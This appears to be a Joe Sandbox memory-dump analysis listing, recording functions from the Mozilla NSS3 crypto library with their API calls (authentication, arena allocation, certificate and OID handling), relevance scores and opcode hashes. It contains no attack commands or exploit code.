Part of subcall function 6CAD10C0: PR_Unlock.NSS3(?,?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD1182
Part of subcall function 6CAD10C0: TlsGetValue.KERNEL32(?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6CADCE40

Part of subcall function 6CAD14C0: TlsGetValue.KERNEL32 ref: 6CAD14E0
Part of subcall function 6CAD14C0: EnterCriticalSection.KERNEL32 ref: 6CAD14F5
Part of subcall function 6CAD14C0: PR_Unlock.NSS3 ref: 6CAD150D

Part of subcall function 6CADCEE0: PORT_ArenaMark_Util.NSS3(?,6CADCD93,?), ref: 6CADCEEE
Part of subcall function 6CADCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CADCD93,?), ref: 6CADCEFC
Part of subcall function 6CADCEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CADCD93,?), ref: 6CADCF0B
Part of subcall function 6CADCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CADCD93,?), ref: 6CADCF1D

Part of subcall function 6CADCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CADCD93,?), ref: 6CADCF47
Part of subcall function 6CADCEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CADCD93,?), ref: 6CADCF67
Part of subcall function 6CADCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6CADCD93,?,?,?,?,?,?,?,?,?,?,?,6CADCD93,?), ref: 6CADCF78

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 47f9430e4db85e80b1b5bef493b7a192a1b2e3c4f66220351d037b27f0651f83
Instruction ID: 854ee683527315c192da8324d0b876d9a1657f479b1c5f9fd7a16c65f4577749
Opcode Fuzzy Hash: 47f9430e4db85e80b1b5bef493b7a192a1b2e3c4f66220351d037b27f0651f83
Instruction Fuzzy Hash: F351E3B6A001019BE710DF69DD40BEA73F5AF4834CF6A0524D94897741EF31F988CB91

Function 6CAD66C0 Relevance: 9.1, APIs: 6, Instructions: 132memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CAD66DF

Part of subcall function 6CAD0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA787ED,00000800,6CA6EF74,00000000), ref: 6CAD1000
Part of subcall function 6CAD0FF0: PR_NewLock.NSS3(?,00000800,6CA6EF74,00000000), ref: 6CAD1016
Part of subcall function 6CAD0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA787ED,00000008,?,00000800,6CA6EF74,00000000), ref: 6CAD102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000168), ref: 6CAD66F9

Part of subcall function 6CAD10C0: TlsGetValue.KERNEL32(?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD10F3
Part of subcall function 6CAD10C0: EnterCriticalSection.KERNEL32(?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD110C
Part of subcall function 6CAD10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD1141
Part of subcall function 6CAD10C0: PR_Unlock.NSS3(?,?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD1182
Part of subcall function 6CAD10C0: TlsGetValue.KERNEL32(?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD119C

memset.VCRUNTIME140(00000000,00000000,00000168), ref: 6CAD6728
PK11_GetInternalKeySlot.NSS3 ref: 6CAD6788
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6CAD67AD
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6CAD67C1

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: ArenaUtil$Arena_Value$Alloc_AllocateCriticalEnterFreeInitInternalK11_LockOptionPoolSectionSlotUnlockcallocmemset
String ID:
API String ID: 3227582682-0
Opcode ID: 7c0a33df43fbda581790474c16ed200e66d19b4e99ec6ad703ad26f66948725a
Instruction ID: 9705205352d6627e97c7166e9ac8425c411b79cfeee2916b4d089e4576cc1ee0
Opcode Fuzzy Hash: 7c0a33df43fbda581790474c16ed200e66d19b4e99ec6ad703ad26f66948725a
Instruction Fuzzy Hash: 31510BB5D002198FDB40CF59C9817DA7BF4AB08714F09456AEC08EB745E775A984CFE1

Function 6CAAEEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6CAAEF38

Part of subcall function 6CA99520: PK11_IsLoggedIn.NSS3(00000000,?,6CAC379E,?,00000001,?), ref: 6CA99542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CAAEF53

Part of subcall function 6CAB4C20: TlsGetValue.KERNEL32 ref: 6CAB4C4C
Part of subcall function 6CAB4C20: EnterCriticalSection.KERNEL32(?), ref: 6CAB4C60
Part of subcall function 6CAB4C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CAB4CA1
Part of subcall function 6CAB4C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CAB4CBE
Part of subcall function 6CAB4C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CAB4CD2
Part of subcall function 6CAB4C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAB4D3A

PR_GetCurrentThread.NSS3 ref: 6CAAEF9E

Part of subcall function 6CB39BF0: TlsGetValue.KERNEL32(?,?,?,6CB80A75), ref: 6CB39C07

free.MOZGLUE(00000000), ref: 6CAAEFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CAAF016
free.MOZGLUE(00000000), ref: 6CAAF022

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 5075bb279367876c2f319f64be7fc3a6607d56e05b09188e01671818e860aef3
Instruction ID: e82edd73331c1f82ab4c5f11aea579a53eab3de540a09974509f82e05d49b732
Opcode Fuzzy Hash: 5075bb279367876c2f319f64be7fc3a6607d56e05b09188e01671818e860aef3
Instruction Fuzzy Hash: D5417171E00209AFDF018FE9DC45AEE7AB9EB48358F044029F914A7350E771D9568BA1

Function 6CB12640 Relevance: 9.1, APIs: 6, Instructions: 119COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,8B7874C0,?,?,?,00000000,?,?,?,6CAE99E8,00000000,00000000,?,?,?,?), ref: 6CB1267E
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000000,?,?,?,6CAE99E8,00000000,00000000,?,?,?,?), ref: 6CB1269D
memcpy.VCRUNTIME140(00000000,8B7874C0,?,?,?,?,?,?,00000000,?,?,?,6CAE99E8,00000000,00000000,?), ref: 6CB126AC
PK11_AEADOp.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000,6CAE99E8), ref: 6CB12714
PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,?,?,?,6CAE99E8,00000000,00000000,?,?,?,?,?), ref: 6CB12737
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB12750

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: memcpy$ErrorK11_memset
String ID:
API String ID: 2328202073-0
Opcode ID: 50f49fa53ae2ff8031b6fe01bc672b41706ddc419552cf9fe70c9860d12e3fa5
Instruction ID: 5f29a74e68ee02762885837fffead1d6aab673b4e5ad2af86155b3be3a096138
Opcode Fuzzy Hash: 50f49fa53ae2ff8031b6fe01bc672b41706ddc419552cf9fe70c9860d12e3fa5
Instruction Fuzzy Hash: 7A417B32A04198AFDF049EA8CC84EEE77B9FF99308F554118F918A7A50D731EC54CB91

Function 6CAE0720 Relevance: 9.1, APIs: 6, Instructions: 116COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(6CAE175E,6CAE175E,?,?,6CAE2F23,6CAE175E,00000000,?,6CAE175E,00000000), ref: 6CAE0738

Part of subcall function 6CAD07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CA78298,?,?,?,6CA6FCE5,?), ref: 6CAD07BF
Part of subcall function 6CAD07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CAD07E6
Part of subcall function 6CAD07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAD081B
Part of subcall function 6CAD07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAD0825

NSS_CMSSignedData_Destroy.NSS3(5304C483,6CAE175E,?,?,6CAE2F23,6CAE175E,00000000,?,6CAE175E,00000000), ref: 6CAE075C

Part of subcall function 6CAE3630: CERT_DestroyCertificate.NSS3(6CAE175E,?,6CAE175E,?,00000000,?,6CAE0761,5304C483,6CAE175E,?,?,6CAE2F23,6CAE175E,00000000,?,6CAE175E), ref: 6CAE3661
Part of subcall function 6CAE3630: CERT_DestroyCertificate.NSS3(6CAE175E,?,6CAE175E,?,00000000,?,6CAE0761,5304C483,6CAE175E,?,?,6CAE2F23,6CAE175E,00000000,?,6CAE175E), ref: 6CAE3681
Part of subcall function 6CAE3630: PORT_FreeArena_Util.NSS3(6CBCCA90,00000000,?,6CAE175E,?,00000000,?,6CAE0761,5304C483,6CAE175E,?,?,6CAE2F23,6CAE175E,00000000), ref: 6CAE36A5

PORT_ArenaUnmark_Util.NSS3(?,5304C483,6CAE175E,?,?,6CAE2F23,6CAE175E,00000000,?,6CAE175E,00000000), ref: 6CAE0794
free.MOZGLUE(850C478B,6CAE175E,00000000), ref: 6CAE07D0
PK11_FreeSymKey.NSS3(890473C1,6CAE175E,00000000), ref: 6CAE07E8

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: DestroyUtil$CertificateErrorFreeHashLookupTable$ArenaArena_ConstData_FindK11_SignedUnmark_free
String ID:
API String ID: 4228047643-0
Opcode ID: 3f767fa037a2cb11158b13a96418d098058a373df5b6978259bc00c9b5c5626d
Instruction ID: 73ec1cc98b880c4a839e8b35a1c661983db499c58d7ad3886cb0b3a4595569de
Opcode Fuzzy Hash: 3f767fa037a2cb11158b13a96418d098058a373df5b6978259bc00c9b5c5626d
Instruction Fuzzy Hash: C131D9B7A01A819BE7008E66994471777A5BF48718F1A4138D82997F00EF31F498BFD2

Function 6CA8E400 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000001,00000000,?,?,6CA93F23,?), ref: 6CA8E432
EnterCriticalSection.KERNEL32(?,?,00000001,00000000,?,?,6CA93F23,?), ref: 6CA8E44F

Part of subcall function 6CA92C40: TlsGetValue.KERNEL32(6CA93F23,?,6CA8E477,?,?,?,00000001,00000000,?,?,6CA93F23,?), ref: 6CA92C62
Part of subcall function 6CA92C40: EnterCriticalSection.KERNEL32(0000001C,?,6CA8E477,?,?,?,00000001,00000000,?,?,6CA93F23,?), ref: 6CA92C76
Part of subcall function 6CA92C40: PL_HashTableLookup.NSS3(00000000,?,?,6CA8E477,?,?,?,00000001,00000000,?,?,6CA93F23,?), ref: 6CA92C86
Part of subcall function 6CA92C40: PR_Unlock.NSS3(00000000,?,?,?,?,6CA8E477,?,?,?,00000001,00000000,?,?,6CA93F23,?), ref: 6CA92C93

TlsGetValue.KERNEL32(?,00000001,00000000,?,?,6CA93F23,?), ref: 6CA8E494
EnterCriticalSection.KERNEL32(?,?,00000001,00000000,?,?,6CA93F23,?), ref: 6CA8E4AD
PR_Unlock.NSS3(?,?,?,00000001,00000000,?,?,6CA93F23,?), ref: 6CA8E4D6
PR_Unlock.NSS3(?,?,?,00000001,00000000,?,?,6CA93F23,?), ref: 6CA8E52F

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 7bd1bb0f055872914df52c5cb831cbb3eecaf4ee4a765b1d1f20354826126dbf
Instruction ID: 8c4954e950e6c330612275e86207c38a09f5f7e7a0749ebea8e78bb89c54d263
Opcode Fuzzy Hash: 7bd1bb0f055872914df52c5cb831cbb3eecaf4ee4a765b1d1f20354826126dbf
Instruction Fuzzy Hash: A14129B8A06615CFCB00EF78D58456ABBF0FF05304B054969D8999BB11E730E8D8CBE2

Function 6CA865D0 Relevance: 9.1, APIs: 6, Instructions: 111memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(-00000007), ref: 6CA8660F

Part of subcall function 6CAD0BE0: malloc.MOZGLUE(6CAC8D2D,?,00000000,?), ref: 6CAD0BF8
Part of subcall function 6CAD0BE0: TlsGetValue.KERNEL32(6CAC8D2D,?,00000000,?), ref: 6CAD0C15

free.MOZGLUE(00000000), ref: 6CA86660
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6CA8667B
SGN_DecodeDigestInfo.NSS3(?), ref: 6CA8669B
SECOID_GetAlgorithmTag_Util.NSS3(-00000004), ref: 6CA866B0
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CA866C8

Part of subcall function 6CAB25D0: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,-00000001,?,?,?,6CA8662E,?,?), ref: 6CAB2670
Part of subcall function 6CAB25D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,-00000001,?,?,?,6CA8662E,?), ref: 6CAB2684
Part of subcall function 6CAB25D0: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001), ref: 6CAB26C2
Part of subcall function 6CAB25D0: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,?), ref: 6CAB26E0
Part of subcall function 6CAB25D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001), ref: 6CAB26F4
Part of subcall function 6CAB25D0: PR_Unlock.NSS3(?), ref: 6CAB274D

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: UtilValue$CriticalEnterSectionUnlock$AlgorithmAlloc_Arena_DecodeDigestErrorFreeInfoTag_freemalloc
String ID:
API String ID: 2025608128-0
Opcode ID: 607827e4147da57859d6a6b997f1dd33fd58787456e2c79ff832b23187210528
Instruction ID: 4e9b7fba89ae66475a8fb735b1e3e263fa0df0f672872a257888fb4609600f97
Opcode Fuzzy Hash: 607827e4147da57859d6a6b997f1dd33fd58787456e2c79ff832b23187210528
Instruction Fuzzy Hash: CB3161B5A012599BEB04CFA8D885AEE77B4AF49258F140138ED19EB700E731E944CBA1

Function 6CA82E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6CA72D1A), ref: 6CA82E7E

Part of subcall function 6CAD07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CA78298,?,?,?,6CA6FCE5,?), ref: 6CAD07BF
Part of subcall function 6CAD07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CAD07E6
Part of subcall function 6CAD07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAD081B
Part of subcall function 6CAD07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAD0825

PR_Now.NSS3 ref: 6CA82EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6CA82EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6CA72D1A), ref: 6CA82F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CA72D1A), ref: 6CA82F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CA82F81

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 5d544661aa7ab205b566548b710a99e70d1220f9c2455922892c589306941b7e
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 0A31D3715031408BE714CE59DD4CBBEB265EF80318F684B7AD42997AD0EB319CDAC621

Function 6CA70E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6CA70A2C), ref: 6CA70E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6CA70A2C), ref: 6CA70E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6CA70A2C), ref: 6CA70E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6CA70A2C), ref: 6CA70E90
free.MOZGLUE(00000000), ref: 6CA70EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6CA70A2C), ref: 6CA70ED9

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 6b1a9ef77f764eb67efbc4ff90173f43f4a0dbe7ac02789e3aa724c35713f75e
Instruction ID: a047cd130190cbbfb765a4d2b3d4cf3433e0c3952d208ae3a2ad11e71ddfcd58
Opcode Fuzzy Hash: 6b1a9ef77f764eb67efbc4ff90173f43f4a0dbe7ac02789e3aa724c35713f75e
Instruction Fuzzy Hash: B9212E7AA002845BEB2045665C45B6F72BFFBC1648F1D4035E81893B41EA62D8D982B1

Function 6CA7AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CA7AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6CA7AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA7AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CA7AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6CB99500), ref: 6CA7AF23

Part of subcall function 6CACF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CACF0C8
Part of subcall function 6CACF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CACF122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA7AF37

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 93b5dfccf4734046ad6beaeaf77f240ffcae003b0f89eaaa2be72d98e32b13bb
Instruction ID: c9b78d40bbec38745d96416012a5473188948345a87ec7d5301b9de24c9d7d0a
Opcode Fuzzy Hash: 93b5dfccf4734046ad6beaeaf77f240ffcae003b0f89eaaa2be72d98e32b13bb
Instruction Fuzzy Hash: 92212B769092006BEB204F18DC41B5A77A5BF8572CF144318FC589B780E731D98887B3

Function 6CAFEE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAFEE85
realloc.MOZGLUE(3C08EEA5,?), ref: 6CAFEEAE
PORT_Alloc_Util.NSS3(?), ref: 6CAFEEC5

Part of subcall function 6CAD0BE0: malloc.MOZGLUE(6CAC8D2D,?,00000000,?), ref: 6CAD0BF8
Part of subcall function 6CAD0BE0: TlsGetValue.KERNEL32(6CAC8D2D,?,00000000,?), ref: 6CAD0C15

htonl.WSOCK32(?), ref: 6CAFEEE3
htonl.WSOCK32(00000000,?), ref: 6CAFEEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6CAFEF01

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 23a28869f1df9f69ead7368208c5f3a786a2dfef3f74802bd11c992b3bd0b30f
Instruction ID: a083428a4ff3f977835d8a515023d0ec4e978fa72d06cf84ab449b61e0ce9751
Opcode Fuzzy Hash: 23a28869f1df9f69ead7368208c5f3a786a2dfef3f74802bd11c992b3bd0b30f
Instruction Fuzzy Hash: EE21D331A00214AFDB109F28DC8079E77B4EF49758F158129FD299B645E330ED55CBE2

